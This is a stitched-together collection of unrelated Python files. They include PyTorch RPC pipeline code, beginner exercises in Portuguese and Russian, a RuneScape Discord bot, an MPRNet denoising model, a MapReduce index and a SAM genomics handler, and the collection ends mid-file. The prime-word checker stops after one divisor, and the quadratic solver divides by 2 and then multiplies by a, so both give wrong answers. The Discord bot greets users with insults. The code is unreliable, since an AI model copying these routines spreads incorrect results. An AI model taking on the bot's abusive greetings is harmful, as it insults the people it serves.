            result = fn(**kwargs)  # *args is not used

        out_queue.put((unique_key, result))

    elif isinstance(job, HandshakeRequest):
        # notify source rank
        src = job.src
        dst = job.dst

        # create and register a queue for receive
        q = Queue()
        QUEUES.RECV_QUEUES[job.recv_key] = q

        rpc.rpc_sync(
            to=f"RPC_WORKER_{src}",
            func=enqueue_handshake_resp,
            args=(src, dst, job.unique_key),  # reverse
        )

        recv_data(
            src,
            dst,
            job.recv_key,
        )

    elif isinstance(job, HandshakeResponse):
        # awake waiting thread
        q = QUEUES.HANDSHAKE_QUEUES[job.unique_key]
        q.put(f"okay - {job.unique_key}")

def launch_forward(
    requested_from,
    current_rank,
    func_name,
    unique_key,
    is_training,
    is_grad_enabled,
    stub,
    *tensors,
):
    requires_grad_any = any([t.requires_grad for t in tensors])
    if is_training and is_grad_enabled and requires_grad_any:
        meta = Metadata(
            is_request=True,
            is_forward=False,
            is_training=is_training,
            is_grad_enabled=is_grad_enabled,
            is_fp16=False,  # TODO;
            func_name="",  # dummy
            src=current_rank,
            dst=requested_from,
        )

        tensors = apply_backward_job_enqueue(meta, unique_key, *tensors)

    (args, kwargs), _ = unpack_tensor_stub(stub, tensors)

    forward_fn = get_original_forward_function(func_name)
    with torch.set_grad_enabled(is_grad_enabled):
        result = forward_fn(*args, **kwargs)

    result_stub, tensors = pack_tensor_stub(result, [])

    need_activation_save = (
        any([t.requires_grad for t in tensors]) and is_training and is_grad_enabled
    )
    if need_activation_save:
        save_activation(unique_key, tensors)

    return result_stub, tensors

def add_backward_required_key(key):
    _BACKWARD_KEYS.append(key)

class _BackwardJobEnqueue(torch.autograd.Function):
    @staticmethod
    @custom_fwd
    def forward(ctx, meta, unique_key, *args):
        ctx.meta = meta
        ctx.unique_key = unique_key
        ctx.num_nones = 2 + len(args)

        rpc.rpc_sync(
            to=meta.dst,
            func=add_backward_required_key,
            args=(unique_key,),
        )

        return args

    @staticmethod
    @custom_bwd
    def backward(ctx, *grad_outputs):
        meta = ctx.meta
        unique_key = ctx.unique_key

        rpc.rpc_sync(
            to=meta.dst,
            func=enqueue_backward_job,
            args=(meta, unique_key, *grad_outputs),
        )

        return (None,) * ctx.num_nones

def apply_backward_job_enqueue(meta, unique_key, *args):
    return _BackwardJobEnqueue.apply(meta, unique_key, *args)


scity=input("Enter your city name:")
city=scity.strip()
if city=='Hyderabad':
    print("Hello Hyderabaadi Aadab")
elif city=="Chennai":
    print("Hello Madrasi Vannakam")
elif city=="Patna":
    print("Helli Bihari Namaste.....")
else:
    print("Enter city not matched")


# ***Quarto desafio***

# Neste problema você deve ler um conjunto de palavras, onde cada palavra
# é composta somente por letras no intervalo a-z e A-Z. Cada letra possui
# um valor específico, a letra a vale 1, a letra b vale 2 e assim por diante,
#  até a letra z, que vale 26. Do mesmo modo, a letra A vale 27, a letra B vale
#  28 e a letra Z vale 52.

# Você deve escrever um programa para determinar se uma palavra é uma palavra
#  prima ou não. Uma palavra é uma palavra prima se a soma de suas letras é um
#  número primo

import random

class Quarto_desafio:

    def __init__(self, name):
        self.folder_name = name
        self.word = self.get_word_from_list(self.folder_name)
        self.check_for_prime()

    def get_word_from_list(this, folder_name):
        folder = open(folder_name, "r")
        words = []
        for lines in folder:
            lines = lines.strip()
            words.append(lines)
        folder.close()
        pos = random.randrange(0, len(words))
        word = words[pos]
        return list(word)

    def give_values(self):
        values = {chr(i): i + 1 for i in range(ord("a"), ord("a") + 26)}
        values.update({chr(i): i + 1 for i in range(ord("A"), ord("A") + 26)})
        for i in values:
            values[i] = (ord(i) - ord('a')) + 1
            if ord(i) < ord('a'):
                values[i] = abs(ord(i) + ord('a') - 135)
        # print(values)
        return values

    def add_word(self):
        values = self.give_values()
        sum = 0
        for char in self.word:
            sum += values[char]
        print(self.word, " = ", sum)
        return sum

    def check_for_prime(self):
        word_value = self.add_word()
        for i in range(2, word_value):
            if (word_value % i) == 0:
                print( word_value, "não é primo")
                break
            else:
                print( word_value, " é primo")
                break

#digitando a palavra para testar
# word = list(input("Digite sua Palavra").strip())
#
#
# #caso seja necessário pegar uma palavra aleatória de um arquivo .txt (segue arquivo palavras.txt como exmplo)

# def give_values():
#     values = {chr(i): i + 1 for i in range(ord("a"), ord("a") + 26)}
#     values.update({chr(i): i + 1 for i in range(ord("A"), ord("A") + 26)})
#     for i in values:
#         values[i] = (ord(i) - ord('a')) + 1
#         if ord(i) < ord('a'):
#             values[i] = abs(ord(i) + ord('a') - 135)
#     #print(values)
#     return values
#
# def add_word():
#     values = give_values()
#     sum = 0
#     for char in word:
#         sum += values[char]
#     print(word, " = ", sum)
#     return sum
#
# def check_for_prime():
#     word_value = add_word()
#     for i in range(2, word_value):
#         if (word_value % i) == 0:
#             print(word_value, "não é primo")
#             break
#         else:
#             print(word_value, " é primo")
#             break
#
# check_for_prime()


import pandas as pd
import matplotlib.pyplot as plt
import numpy as np
# school_file = pd.read_csv('schools.csv')
# student_file = pd.read_csv('students.csv')
# quota_file = 'country_quotas.csv'
count_ca = 0
count_in = 0
#reading CSV files
sch = pd.read_csv('data/schools.csv')
std = pd.read_csv('data/students.csv')
for row in std['Characteristics']:
        if row =='CA':
                    count_ca += 1
        else:
                    count_in += 1

                    # print(count_ca)
                    # print(count_in)

#Defining plot details
fig, det = plt.subplots()
fig.set_figheight(7)
fig.set_figwidth(10)
font = {
        'weight' : 'bold',
        'size'   : 25}

plt.rc('font', **font)
objects = ('Canadian', 'International')
y_pos = np.arange(len(objects))
count = [count_ca, count_in]

plt.bar(y_pos, count, align='center')
plt.xticks(y_pos, objects)
plt.ylabel('Number of Students')
plt.title("Student's Application Distribution")
fig.savefig('StudentApplication')


import discord
from discord.ext import commands
import asyncio
from bs4 import BeautifulSoup
import urllib.request
import cred

description = '''A Discord Bot for Runescape - Made by RdTo99Swole'''

bot = commands.Bot(command_prefix='!', description=description)

def getInfo():
	a = []
	a.append("Available Commands:")
	a.append("!help OR !info :Shows list of commands - info will show how to use them")
	a.append("!welcome 'NAME' :welcomes someone (just first name)")
	a.append("!stats 'NAME' : gets stats of desired player (max 3 word name)")
	a.append("!price 'ITEM' :gets price of item (max two word item - are any items more than that?)")
	a.append("!rots :gets current Rise of the Six Rotation")
	a.append("!araxxor :gets current araxxor paths")
	a.append("!vorago :gets current vorago rotation")
	return a

def getSkills(user):
	try:
		url = 'http://services.runescape.com/m=hiscore/compare?user1=' + user
		page = urllib.request.urlopen(url)
		soup = BeautifulSoup(page.read(), 'lxml')
		data = soup.findAll('td', class_="playerWinLeft alignleft")
		skills = []
		for x in data:
			soup2 = BeautifulSoup(str(x), 'lxml')
			tag = soup2.find(href=True)
			skill = str(tag)
			index = skill.find(";page=1")
			skills.append(str(skill[int(index)+9:int(index)+11]))
		try:
			skills.pop(0)
		except IndexError:
			return "ERROR"
		return skills
	except urllib.error.HTTPError:
		return "ERROR"

def getRago():
	url = 'http://runescape.wikia.com/wiki/Vorago/Strategies'
	page = urllib.request.urlopen(url)
	soup = BeautifulSoup(page.read(), 'lxml')
	data = soup.find('table', class_="wikitable")
	index = str(data).find("status-active")
	sChar = str(data)[index+15]
	if sChar == 'C':
		return "Cieling Collapse"
	elif sChar == 'S':
		return "Scopulus"
	elif sChar == 'V':
		return "Vitalis"
	elif sChar == 'G':
		return "Green Bomb"
	elif sChar == 'T' and str(data)[index+16] == 'e':
		return "Teamsplit"
	else:
		return "The End"

def getRots():
	url = 'http://runescape.wikia.com/wiki/Barrows:_Rise_of_the_Six'
	page = urllib.request.urlopen(url)
	soup = BeautifulSoup(page.read(), 'lxml')
	data = soup.find('table', class_='wikitable')
	karil = str(data).find('Karil')
	dharok = str(data).find('Dharok')
	ahrim = str(data).find('Ahrim')
	torag = str(data).find('Torag')
	verac = str(data).find('Verac')
	guthan = str(data).find('Guthan')
	brothers = {'Dharok':dharok, 'Karil':karil, 'Ahrim':ahrim,'Torag':torag,'Verac':verac,'Guthan':guthan}
	inOrder = sorted(brothers, key=brothers.__getitem__)
	return inOrder

def getPaths():
	url = 'http://runescape.wikia.com/wiki/Araxxor/Strategies'
	page = urllib.request.urlopen(url)
	soup = BeautifulSoup(page.read(), 'lxml')
	data = soup.find('table', class_='wikitable')
	index = str(data).find("Closed")
	index2 = str(data).find("Open")
	index3 = str(data).find("Open", index2, len(str(data)))
	if(index < index2 and index < index3):
		return "Paths Two and Three are open- Acid and Darkness, oh my!"
	if(index > index2 and index < index3):
		return "Paths One and Three are open- Minions and Darkness, sounds like fun!"
	else:
		return "Paths One and Two are open- Minions and Acid, yum!"

def getPrice(item):
	try:
		str(item).replace(" ", "_")
		print(item)
		url = 'http://runescape.wikia.com/wiki/' + item
		page = urllib.request.urlopen(url)
		soup = BeautifulSoup(page.read(), 'lxml')
		data = soup.find('span', class_='infobox-quantity')
		return data['data-val-each']
	except urllib.error.HTTPError:
		return "ERROR"

@bot.event
async def on_ready():
    print('Logged in as')
    print(bot.user.name)
    print(bot.user.id)
    print('------')

@bot.command()
async def welcome(message = "Dickhead"):
    """Welcomes Player with a kind message"""
    await bot.say("Hey %s! Sup you piece of shit?" % message)

@bot.command()
async def info():
	"""Shows help"""
	info = getInfo()
	for line in info:
		await bot.say(line)

@bot.command()
async def price(item1, item2 = ""):
	"""Gets G.E. Price of an item"""
	try:
		if str(item2) != '':
			item2 = '_' + str(item2)
			item = str(item1) + str(item2)
		else:
			item = str(item1)
		price = getPrice(item)
		if price == "ERROR":
			await bot.say("Sorry, that item was not found")
		else:
			await bot.say("The price is: " + str(price))
	except TypeError:
		await bot.say("That item is not tradeable! What a shame...")

@bot.command()
async def stats(first, second="", third=""):
	"""Gets a player's stats"""
	if second == '' and third == '':
		player = first
	elif third == '':
		player = first + '_' + second
	else:
		player = first + '_' + second + '_' + third
	lvls = getSkills(player)
	if lvls != "ERROR":
		skills = ['Attack: ' + lvls[0], 'Defense: ' + lvls[1], 'Strength: ' + lvls[2], 'HP: ' + lvls[3],'Ranged: ' \
					+ lvls[4],'Prayer: ' + lvls[5],'Magic: ' + lvls[6],'Cooking: ' + lvls[7], 'Woodcutting: ' + lvls[8], \
					'Fletching: ' + lvls[9],'Fishing: ' + lvls[10],'Firemaking: ' + lvls[11],'Crafting: ' + lvls[12],'Smithing: ' \
					 + lvls[13],'Mining: ' + lvls[14],'Herblore: ' + lvls[15],'Agility: ' + lvls[16],'Thieving: ' + lvls[17], \
					'Slayer: ' + lvls[18],'Farming: ' + lvls[19],'Runecrafting: ' + lvls[20],'Hunter: ' + lvls[21],'Construction: '\
					 + lvls[22],'Summoning: ' + lvls[23],'Dungeoneering: ' + lvls[24],'Divination: ' + lvls[25], \
				 	'Invention: ' + lvls[26]]
		await bot.say( "Stats for: " + player \
					    + '\n' + skills[0] + '\n' + skills[1]+ '\n' + skills[2]+ '\n' + skills[3]+ '\n' + skills[4]+ '\n' + skills[5] \
						+ '\n' + skills[6]+ '\n' + skills[7]+ '\n' + skills[8]+ '\n' + skills[9]+ '\n' + skills[10] \
						+ '\n' + skills[11]+ '\n' + skills[12]+ '\n' + skills[13]+ '\n' + skills[14]+ '\n' + skills[15] \
						+ '\n' + skills[16]+ '\n' + skills[17]+ '\n' + skills[18]+ '\n' + skills[19]+ '\n' + skills[20] \
						+ '\n' + skills[21]+ '\n' + skills[22]+ '\n' + skills[23]+ '\n' + skills[24]+ '\n' + skills[25] \
						+ '\n' + skills[26])
	else:
		await bot.say("Player not found!")

@bot.command()
async def rots():
	"""Gets Rise of the Six Rotation"""
	brothers = getRots()
	east = []
	west = []
	i = 1
	for key in brothers:
		if i % 2 == 0:
			east.append(key)
		else:
			west.append(key)
		i += 1
	await bot.say("-WEST-")
	for bro in west:
		await bot.say('  ' + bro)
	await bot.say("----------")
	await bot.say("-EAST-")
	for bro in east:
		await bot.say('  ' + bro)
	await bot.say("----------")

@bot.command()
async def araxxor():
	"""Gets Araxxor Rotation"""
	currRotation = getPaths()
	await bot.say(currRotation)

@bot.command()
async def vorago():
	"""Gets Vorago Rotation"""
	currRotation = getRago()
	await bot.say("Vorago is currently on: %s" % currRotation)

bot.run(cred.un, cred.pw)


# Напишите следующие функции:
# ○ Нахождение корней квадратного уравнения
# ○ Генерация csv файла с тремя случайными числами в каждой строке. 100-1000 строк.
# ○ Декоратор, запускающий функцию нахождения корней квадратного уравнения с каждой тройкой чисел из csv файла.
# ○ Декоратор, сохраняющий переданные параметры и результаты работы функции в json файл.

import csv
import json
from os import path
from random import randint
from typing import Callable

def args_from_csv(file_csv: str = 'args.csv'):
    if not path.exists(file_csv):
        gen_args_csv('args.csv')

    def get_args_from_csv(func: Callable):
        with open(file_csv, 'r', encoding='utf-8') as f:
            csv_reader = list(csv.reader(f))
            result = []

        def wrapper():
            for line in csv_reader:
                result.append(func(float(line[0]), float(line[1]), float(line[2])))
            return result

        return wrapper

    return get_args_from_csv

def logger(func: Callable):
    file_name = f'{func.__name__}.json'
    if path.exists(file_name):
        with open(file_name, 'r', encoding='utf-8') as f:
            data = json.load(f)
    else:
        data = []

    def wrapper(*args, **kwargs):
        result = func(*args, **kwargs)
        json_dict = {'args': args, **kwargs, 'result': result}
        data.append(json_dict)
        with open(file_name, 'w', encoding='utf-8') as f1:
            json.dump(data, f1, indent=2, ensure_ascii=False)
        return result

    return wrapper

def gen_args_csv(file_csv: str, str_min: int = 100, str_max: int = 1000) -> None:
    with open(file_csv, 'w', newline='', encoding='utf-8') as f:
        rand_args = []
        for _ in range(randint(str_min, str_max)):
            rand_args.append([randint(-100, 100), randint(-100, 100), randint(-100, 100)])
        writer = csv.writer(f)
        writer.writerows(rand_args)

@args_from_csv('args.csv')
@logger
def quadratic_equation(a: float, b: float, c: float = 0) -> str:
    d = b ** 2 - 4 * a * c
    if d == 0:
        x1 = -b / (2 * a)
        return f'Дискриминант равен нулю, значит уравнение имеет единственный корень: {x1}'
    elif d > 0:
        x1 = (-b + d ** 0.5) / 2 * a
        x2 = (-b - d ** 0.5) / 2 * a
        return f'Дискриминант больше нуля, значит уравнение имеет два корня: {[x1, x2]}'
    else:
        return f'Дискриминант отрицательный, поэтому корней нет'

if __name__ == '__main__':
    print(quadratic_equation())


# Syed Waqas Zamir https://github.com/swz30/MPRNet
import torch
import torch.nn as nn

from models import Conv3x3, FRM
##########################################################################
conv = lambda in_channels, out_channels, kernel_size, bias=False, stride = 1:\
  nn.Conv2d(in_channels, out_channels, kernel_size, padding=kernel_size >> 1, bias=bias, stride = stride)

class Residual(nn.Sequential):
  def forward(self, x): return super().forward(x) + x
##########################################################################
## Channel Attention Block (CAB)
CAB = lambda n, k, r, bias, act:\
  Residual(conv(n, n, k, bias), act, conv(n, n, k, bias), FRM(n, r, bias))

##########################################################################
## Supervised Attention Module
class SAM(nn.Module):
  def __init__(self, n_feat, kernel_size, bias):
    super(SAM, self).__init__()
    self.conv1 = conv(n_feat, n_feat, kernel_size, bias=bias)
    self.conv2 = conv(n_feat, 3, kernel_size, bias=bias)
    self.conv3 = conv(3, n_feat, kernel_size, bias=bias)

  def forward(self, x, x_img):
    x1 = self.conv1(x)
    img = self.conv2(x) + x_img
    x2 = torch.sigmoid(self.conv3(img))
    x1 = x1 * x2
    x1 = x1 + x
    return x1, img

##########################################################################
##---------- Resizing Modules ----------

UpSample = lambda in_channels, s_factor, sf=2: nn.Sequential(
  nn.Upsample(scale_factor=sf, mode='bilinear', align_corners=False),
  nn.Conv2d(in_channels + (s_factor if sf > 1 else 0), in_channels + (0 if sf > 1 else s_factor), 1, stride=1, padding=0, bias=False))
DownSample = lambda in_channels, s_factor: UpSample(in_channels, s_factor, 0.5)
class SkipUpSample(nn.Module):
  def __init__(self, in_channels, s_factor):
    super(SkipUpSample, self).__init__()
    self.up = UpSample(in_channels, s_factor)

  def forward(self, x, y):
    x = self.up(x)
    x = x + y
    return x

##########################################################################
## U-Net

class Encoder(nn.Module):
  def __init__(self, n_feat, kernel_size, reduction, act, bias, scale_unetfeats, csff):
    super(Encoder, self).__init__()

    down = (
      nn.Identity(),
      DownSample(n_feat, scale_unetfeats),
      DownSample(n_feat + scale_unetfeats, scale_unetfeats)
    )

    self.encoder = nn.ModuleList(
      nn.Sequential(
        d,
        *(CAB(n_feat + scale_unetfeats * i, kernel_size, reduction, bias=bias, act=act) for _ in range(2))
      ) for i, d in enumerate(down)
    )

    # Cross Stage Feature Fusion (CSFF)
    if csff:
      self.csff_enc = nn.ModuleList((
        nn.Conv2d(n_feat,                       n_feat,                       kernel_size=1, bias=bias),
        nn.Conv2d(n_feat + scale_unetfeats,     n_feat + scale_unetfeats,     kernel_size=1, bias=bias),
        nn.Conv2d(n_feat + scale_unetfeats * 2, n_feat + scale_unetfeats * 2, kernel_size=1, bias=bias)
      ))
      self.csff_dec = nn.ModuleList((
        nn.Conv2d(n_feat,                       n_feat,                       kernel_size=1, bias=bias),
        nn.Conv2d(n_feat + scale_unetfeats,     n_feat + scale_unetfeats,     kernel_size=1, bias=bias),
        nn.Conv2d(n_feat + scale_unetfeats * 2, n_feat + scale_unetfeats * 2, kernel_size=1, bias=bias)
      ))
    else:
      self.csff_enc, self.csff_dec = None, None

  def forward(self, x, encoder_outs=None, decoder_outs=None):
    return encoderForward(self.encoder, self.csff_enc, self.csff_dec, x, encoder_outs, decoder_outs)

def encoderForward(encoder, csff_enc, csff_dec, x, encoder_outs, decoder_outs):
  enc = []
  for i in range(3):
    x = encoder[i](x)
    if encoder_outs is not None:
      x = x + csff_enc[i](encoder_outs[i]) + csff_dec[i](decoder_outs[i])
    enc.append(x)

  return enc

class Decoder(nn.Module):
  def __init__(self, n_feat, kernel_size, reduction, act, bias, scale_unetfeats):
    super(Decoder, self).__init__()

    self.decoder = nn.ModuleList(nn.Sequential(*(CAB(n_feat + scale_unetfeats * i, kernel_size, reduction, bias=bias, act=act) for _ in range(2))) for i in range(3))

    self.skip_attn = nn.ModuleList((
      CAB(n_feat,                   kernel_size, reduction, bias=bias, act=act),
      CAB(n_feat + scale_unetfeats, kernel_size, reduction, bias=bias, act=act)
    ))

    self.up = nn.ModuleList((SkipUpSample(n_feat, scale_unetfeats), SkipUpSample(n_feat + scale_unetfeats, scale_unetfeats)))

  def forward(self, outs):
    dec = [0 for _ in range(3)]
    for i in range(2, -1, -1):
      enc = outs[i]
      x = self.up[i](x, self.skip_attn[i](enc)) if i < 2 else enc
      x = self.decoder[i](x)
      dec[i] = x

    return dec

##########################################################################
## Original Resolution Block (ORB)
ORB = lambda n_feat, kernel_size, reduction, act, bias, num_cab:\
  Residual(*([CAB(n_feat, kernel_size, reduction, bias=bias, act=act) for _ in range(num_cab)] + [conv(n_feat, n_feat, kernel_size)]))

##########################################################################
class ORSNet(nn.Module):
  def __init__(self, n_feat, scale_orsnetfeats, kernel_size, reduction, act, bias, scale_unetfeats, num_cab):
    super(ORSNet, self).__init__()

    self.orb = nn.ModuleList(ORB(n_feat + scale_orsnetfeats, kernel_size, reduction, act, bias, num_cab) for _ in range(3))

    genUps = lambda: (
      [],
      [UpSample(n_feat, scale_unetfeats)],
      [UpSample(n_feat + scale_unetfeats, scale_unetfeats), UpSample(n_feat, scale_unetfeats)]
    )

    self.conv_enc = nn.ModuleList(nn.Sequential(*(up + [nn.Conv2d(n_feat, n_feat + scale_orsnetfeats, kernel_size=1, bias=bias)])) for up in genUps())

    self.conv_dec = nn.ModuleList(nn.Sequential(*(up + [nn.Conv2d(n_feat, n_feat+scale_orsnetfeats, kernel_size=1, bias=bias)])) for up in genUps())

  def forward(self, x, encoder_outs, decoder_outs):
    return encoderForward(self.orb, self.conv_enc, self.conv_dec, x, encoder_outs, decoder_outs)[2]

class MPRNet(nn.Module):
  def __init__(self, in_c=3, out_c=3, n_feat=96, scale_unetfeats=48, scale_orsnetfeats=32, num_cab=8, reduction=4, bias=False):
    super(MPRNet, self).__init__()

    act = nn.PReLU()
    kernel_size = 3
    self.shallow_feat = nn.ModuleList(nn.Sequential(Conv3x3(in_c, n_feat, bias=bias), CAB(n_feat, kernel_size, reduction, bias=bias, act=act)) for _ in range(3))

    # Cross Stage Feature Fusion (CSFF)
    self.encoder = nn.ModuleList((
      Encoder(n_feat, kernel_size, reduction, act, bias, scale_unetfeats, csff=False), # stage 1
      Encoder(n_feat, kernel_size, reduction, act, bias, scale_unetfeats, csff=True), # stage 2
      ORSNet(n_feat, scale_orsnetfeats, kernel_size, reduction, act, bias, scale_unetfeats, num_cab) # stage 3
    ))

    self.decoder = nn.ModuleList(Decoder(n_feat, kernel_size, reduction, act, bias, scale_unetfeats) for _ in range(2))

    self.sam = nn.ModuleList(SAM(n_feat, kernel_size=1, bias=bias) for _ in range(2))

    self.concat = nn.ModuleList(Conv3x3(n_feat * 2, feats, bias=bias) for feats in (n_feat, n_feat + scale_orsnetfeats))
    self.tail = Conv3x3(n_feat + scale_orsnetfeats, out_c, bias=bias)

  def stage(self, level, feat_0, feat_1, x_img):
    ##-------------------------------------------
    ##-------------- Stage level + 1---------------------
    ##-------------------------------------------
    ## Concat deep features
    feat = [torch.cat((p0, p1), 3 - level) for p0, p1 in zip(feat_0, feat_1)]

    ## Pass features through Decoder of Stage level + 1
    res = self.decoder[level](feat)

    ## Apply Supervised Attention Module (SAM)
    x_samfeats, stage_img = self.sam[level](res[0], x_img)

    ##-------------------------------------------
    ##-------------- Stage level + 2---------------------
    ##-------------------------------------------
    ## Compute Shallow Features
    x = self.shallow_feat[level + 1](x_img)

    ## Concatenate SAM features of Stage level + 1 with shallow features of Stage level + 2
    x_cat = self.concat[level](torch.cat([x, x_samfeats], 1))

    ## Process features of both patches with Encoder of Stage level + 2
    featE = self.encoder[level + 1](x_cat, feat, res)
    return featE, stage_img

  def forward(self, x3_img):
    # Original-resolution Image for Stage 3
    H, W = x3_img.shape[2:4]
    assert not (H & 7 or W & 7) # align to 8
    halfH, halfW = H >> 1, W >> 1

    # Multi-Patch Hierarchy: Split Image into four non-overlapping patches

    # Two Patches for Stage 2
    x2top_img  = x3_img[:, :, :halfH]
    x2bot_img  = x3_img[:, :, halfH:]

    # Four Patches for Stage 1
    patches = x2top_img[:, :, :, :halfW], x2top_img[:, :, :, halfW:], x2bot_img[:, :, :, :halfW], x2bot_img[:, :, :, halfW:]

    ##-------------------------------------------
    ##-------------- Stage 1---------------------
    ##-------------------------------------------
    ## Compute Shallow Features
    ## Process features of all 4 patches with Encoder of Stage 1
    feat1_ltop, feat1_rtop, feat1_lbot, feat1_rbot = [self.encoder[0](self.shallow_feat[0](p)) for p in patches]

    feat2_top, stage1_img_top = self.stage(0, feat1_ltop, feat1_rtop, x2top_img)
    feat2_bot, stage1_img_bot = self.stage(0, feat1_lbot, feat1_rbot, x2bot_img)
    ## Output image at Stage 1
    # stage1_img = torch.cat([stage1_img_top, stage1_img_bot], 2)

    x3_cat, stage2_img = self.stage(1, feat2_top, feat2_bot, x3_img)

    stage3_img = self.tail(x3_cat)

    return torch.clamp(stage3_img + x3_img, 0, 1)
    # return stage3_img + x3_img, stage2_img, stage1_img


import MapReduce
import sys

"""
Word Count Example in the Simple Python MapReduce Framework
"""

mr = MapReduce.MapReduce()

# =============================
# Do not modify above this line

def mapper(record):
    # key: document identifier, name of the book
    # value: document contents, words contained by the particular book
    key = record[0]
    value = record[1]
    words = value.split()
    words = list(set(words))
    # send down every word from the content (w in keys) \
    # and the name of the book (key)
    for w in words:
      mr.emit_intermediate(w, key)

def reducer(key, list_of_values):
    # key: word
    # value: name of the book

    mr.emit((key, list_of_values))

# Do not modify below this line
# =============================
if __name__ == '__main__':
  inputdata = open(sys.argv[1])
  mr.execute(inputdata, mapper, reducer)


#!/usr/bin/env python
"""
Pandas-based SAM Data Handler.
https://github.com/dceoy/pdbio
"""

import logging
import os
import re
import sys
from collections import OrderedDict
from multiprocessing import cpu_count

import numpy as np
import pandas as pd

from .biodataframe import BaseBioDataFrame

class SamDataFrame(BaseBioDataFrame):
    """SAM DataFrame handler."""

    def __init__(self, path=None, samtools=None, n_thread=None, rname=None,
                 startpos=None, endpos=None, load=True):
        self.__logger = logging.getLogger(__name__)
        self.__samtools = samtools
        self.__n_thread = n_thread
        if rname and startpos and endpos:
            self.__region = '{0}:{1:d}-{2:d}'.format(rname, startpos, endpos)
        elif rname and startpos:
            self.__region = '{0}:{1:d}'.format(rname, startpos)
        elif rname:
            self.__region = rname
        else:
            self.__region = None
        self.regions = [self.__region] if self.__region else None
        self.__col_dtypes = OrderedDict([
            ('QNAME', str), ('FLAG', int), ('RNAME', str), ('POS', int),
            ('MAPQ', int), ('CIGAR', str), ('RNEXT', str), ('PNEXT', int),
            ('TLEN', int), ('SEQ', str), ('QUAL', str), ('OPT', str)
        ])
        self.__cols = list(self.__col_dtypes.keys())
        self.__n_cols = len(self.__cols)
        super().__init__(
            path=path, format_name='SAM', delimiter='\t', column_header=False,
            chrom_column='RNAME', pos_columns=['POS'],
            txt_file_exts=['.sam', '.txt', '.tsv'],
            bin_file_exts=['.bam', '.cram'], load=load
        )

    def load_table(self):
        if self.path.endswith(('.bam', '.cram')) or self.regions:
            self.df = self.convert_lines_to_df(
                lines=list(self.view(options=['-h'], regions=self.regions))
            )
        else:
            with self.open_readable_file(path=self.path) as f:
                self.df = self.convert_lines_to_df(lines=list(f))
        if not self.df.shape[0]:
            self.df = pd.DataFrame(columns=self.__cols)
        return self

    def parse_line(self, string, into_ordereddict=False):
        if re.search(r'^@[A-Z]{2}', string):
            self.header.append(string.strip())
        elif string.strip():
            items = string.strip().split('\t', maxsplit=(self.__n_cols - 1))
            df = pd.DataFrame(
                [[*items, ''] if len(items) < self.__n_cols else items],
                columns=self.__cols
            ).astype(dtype=self.__col_dtypes)
            if into_ordereddict:
                return df.iloc[0].to_dict(into=OrderedDict)
            else:
                return df

    def view(self, options=None, regions=None):
        args = [
            (self.__samtools or self.fetch_executable('samtools')), 'view',
            '-@', str(self.__n_thread or cpu_count()),
            *(options if options else list()), self.path,
            *(regions if regions else list())
        ]
        for s in self.run_and_parse_subprocess(args=args):
            yield s

    def write_body(self, path=None, mode='a'):
        if path:
            with open(path, mode=mode) as f:
                for s in self._generate_samline():
                    f.write(s)
        else:
            for s in self._generate_samline():
                sys.stdout.write(s)
                sys.stdout.flush()

    def _generate_samline(self):
        for s in self.df.apply(lambda r:
                               r.dropna().astype(str).str.cat(sep='\t'),
                               axis=1):
            yield (s.strip() + os.linesep)

    def tag_expanded_df(self, df=None, tag=None, cast_numeric_types=True,
                        drop=True):
        df_s = self.df if df is None else df
        if tag:
            tag_strs = df_s['OPT'].str.split('\t').apply(
                lambda t: ([s for s in t if s.startswith(tag)] or [np.nan])[0]
            )
            if tag_strs.isnull().all():
                raise RuntimeError('tag not found: {}'.format(tag))
            else:
                tag_col = tag_strs.dropna().iloc[0][:4]
                tag_vals = tag_strs.str.split(':', n=2).apply(
                    lambda t: (t[2] if t else t)
                )
                return df_s.assign(
                    **{
                        tag_col: (
                            tag_vals.astype(float) if tag_col[3] in 'if'
                            else tag_vals
                        )
                    }
                )
        else:
            return self._all_tagged_df(
                df=df_s, cast_numeric_types=cast_numeric_types, drop=drop
            )

    @staticmethod
    def _all_tagged_df(df, cast_numeric_types=True, drop=True):
        return pd.concat(
            [
                pd.DataFrame([{
                    'id': i, **({s[:4]: s[5:] for s in v} if v[0] else dict())
                }]) for i, v in df['OPT'].str.split('\t').items()
            ],
            ignore_index=True, sort=False
        ).set_index('id').pipe(
            lambda d: (
                d.astype(
                    dtype={c[:4]: float for c in d.columns if c[3] in 'if'}
                ) if cast_numeric_types else d
            )
        ).pipe(lambda d: df.join(d, how='left')).pipe(
            lambda d: (d.drop(columns='OPT') if drop else d)
        )

    def load_sam_by_region(self, rname, startpos, endpos,
                           completely_inclusion=True, options=None,
                           into_ordereddict=False):
        self.__logger.info('Load SAM file by region: {}'.format(self.path))
        if startpos > endpos:
            raise ValueError(
                'invalid range (startpos > endpos): {0}:{1}-{2}'.format(
                    rname, startpos, endpos
                )
            )
        elif startpos == endpos or not completely_inclusion:
            lines = list(
                self.view(
                    options=options,
                    regions=['{0}:{1:d}-{2:d}'.format(rname, startpos, endpos)]
                )
            )
        else:
            edges = [
                ['{0}:{1:d}-{1:d}'.format(rname, p)]
                for p in [startpos, endpos]
            ]
            lines = [
                s for s in self.view(options=options, regions=edges[0])
                if s in set(self.view(options=options, regions=edges[1]))
            ]
        self.header = list(self.view(options=['-H']))
        self.df = self.convert_lines_to_df(lines=lines, update_header=False)
        self.__logger.debug('self.df shape: {}'.format(self.df.shape))
        return self

    def median_depth(self, region=None, min_baseq=None, min_mapq=None):
        depths = self._depth_array(
            region=region, min_baseq=min_baseq, min_mapq=min_mapq
        )
        return (np.median(depths) if depths.size else 0)

    def describe_depth(self, region=None, min_baseq=None, min_mapq=None):
        return self._depth_array(
            region=region, min_baseq=min_baseq, min_mapq=min_mapq
        ).describe()

    def _depth_array(self, region=None, min_baseq=None, min_mapq=None):
        args = [
            (self.__samtools or self.fetch_executable('samtools')), 'depth',
            *(['-q', str(min_baseq)] if min_baseq is not None else list()),
            *(['-Q', str(min_mapq)] if min_mapq is not None else list()),
            *(['-r', region] if region else list()), self.path
        ]
        return pd.Series([
            s.strip().split('\t', maxsplit=2)[2]
            for s in self.run_and_parse_subprocess(args=args)
        ]).astype(np.int32)


from aiogram import types
from aiogram.dispatcher import FSMContext
from aiogram.dispatcher.filters import Regexp, Text
from aiogram.utils.emoji import emojize

from src.bot.api import *
from src.bot.schemas import keyboards, Keyboard
from src.bot.schemas.fsm_states import ReviewFSM
from src.bot.utils import agreements, review
from src.modules import sql, Texts
from .l2_settings import bot, dp

# _______________ Помощь _______________

@dp.message_handler(Text('⛑ Помощь', ignore_case=True), state='*')
@dp.message_handler(commands='help', state='*')
@private_and_login_require(do_not_check_sub=True)
@exc_handler
